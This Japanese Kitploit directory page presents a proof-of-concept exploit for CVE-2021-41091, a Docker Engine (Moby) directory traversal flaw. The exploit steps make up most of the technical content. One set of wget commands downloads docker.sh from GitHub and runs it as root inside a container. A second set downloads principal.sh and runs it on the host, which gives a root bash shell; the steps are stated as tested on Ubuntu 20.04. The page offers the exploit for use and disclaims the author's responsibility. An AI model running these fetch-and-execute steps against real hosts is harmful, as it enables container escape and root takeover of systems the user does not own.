Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに！

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2021-41091 — CVE-2021-41091の概念実証エクスプロイト：Moby（Docker Engine）のディレクトリトラバーサルにより、非特権ユーザーがコンテナからホスト上のSUIDバイナリを実行可能。Ubuntu 20.04用のPoCスクリプトを含む。 | Kitploit
ツール/GitHubGitHub/jrbh4ck/cve-2021-41091
特権昇格コンテナセキュリティ脆弱性分析エクスプロイトペネトレーションテストコンテナエスケープ
GitHubjrbh4ck/cve-2021-41091

CVE-2021-41091

CVE-2021-41091の概念実証エクスプロイト：Moby（Docker Engine）のディレクトリトラバーサルにより、非特権ユーザーがコンテナからホスト上のSUIDバイナリを実行可能。Ubuntu 20.04用のPoCスクリプトを含む。

リポジトリを見る
2年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2021-41091

Moby（Docker Engine）のバグにより、権限のないユーザーがディレクトリを横断し、コンテナ内のプログラムをホストマシン上で直接実行できる可能性があります。コンテナ内にSUIDプログラムが存在する場合、ユーザーはホストマシン上でそれをSUIDとして実行できます。

PoC

コンテナのターミナルで docker.sh ファイルをダウンロードし、rootユーザーとして実行します:

root@kitploit:~
wget https://raw.githubusercontent.com/jrbH4CK/CVE-2021-41091/main/docker.sh
chmod +x docker.sh
./docker.sh

次に、ホストマシンで principal.sh ファイルをダウンロードして実行します:

root@kitploit:~
wget https://raw.githubusercontent.com/jrbH4CK/CVE-2021-41091/main/principal.sh
chmod +x principal.sh
./principal.sh

表示されたコマンドを実行すると、/bin/bash をrootとして実行できるようになります。

注意事項

これらのスクリプトは、Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-147-generic x86_64) 上の Moby 20.10.5+dfsg1 でテストされました。

このリポジトリの使用は、利用者の責任であり、作者の責任ではありません。

ツールをダウンロード